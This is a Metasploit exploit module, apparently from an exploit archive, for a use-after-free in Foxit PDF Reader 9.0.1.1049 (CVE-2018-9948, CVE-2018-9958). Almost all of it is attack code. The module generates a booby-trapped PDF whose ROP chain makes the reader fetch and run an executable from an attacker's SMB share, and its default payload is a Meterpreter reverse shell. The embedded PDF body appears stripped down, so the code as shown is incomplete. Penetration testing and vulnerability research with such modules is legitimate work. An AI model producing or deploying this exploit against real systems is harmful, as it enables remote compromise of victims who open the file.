Foxit PDF Reader 9.0.1.1049 - Pointer Overwrite Use-After-Free (Metasploit)

Properties

Published:
27.08.2018
Target:
Foxit PDF Reader 9.0.1.1049

Code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::FILEFORMAT
 
  def initialize(info={})
    super(update_info(info,
      'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
      'Description' => %q{
        Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
        in the Text Annotations component and the TypedArray's use
        uninitialized pointers.
 
        The vulnerabilities can be combined to leak a vtable memory address,
        which can be adjusted to point to the base address of the executable.
        A ROP chain can be constructed that will execute when Foxit Reader
        performs the UAF.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'mr_me',            # Use-after-free and PoC
          'bit from meepwn',  # Uninitialized pointer
          'saelo',            # JavaScript Garbage Collector
          'Jacob Robles'      # Metasploit Module
        ],
      'References' =>
        [
          ['CVE', '2018-9948'],
          ['CVE', '2018-9958'],
          ['ZDI', '18-332'],
          ['ZDI', '18-342'],
          ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
          ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true,
          'FILENAME' => 'test.pdf',
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
        },
      'Platform' => 'win',
      'Targets' =>
        [
          ['Windows 10 Pro x64 Build 17134', {}]
        ],
      'DisclosureDate' => 'Apr 20 2018',
      'DefaultTarget' => 0))
 
    register_options([
      OptString.new('EXENAME', [false, 'EXE file to download', '']),
      OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
    ])
  end
 
  def pdfdoc
    share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
    fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
    fname << '.exe' unless fname.ends_with?('.exe')
 
    share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
    num = 4 - (share_path.length % 4)
    share_path << "\x00"*num
    return nil if share_path.length > 44
 
    print_status("share_path: #{share_path}")
 
    rop = ''
    max_index = 0
    share_path.unpack('V*').each_with_index {|blk, index|
      rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
      max_index = index
    }
 
    (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
 
    <<~PDFDOC
%PDF
1 0 obj
<>
2 0 obj
<> trailer <>
    PDFDOC
  end
 
  def exploit
    mypdf = pdfdoc
    if mypdf.nil?
      fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
    end
    file_create(mypdf)
  end
end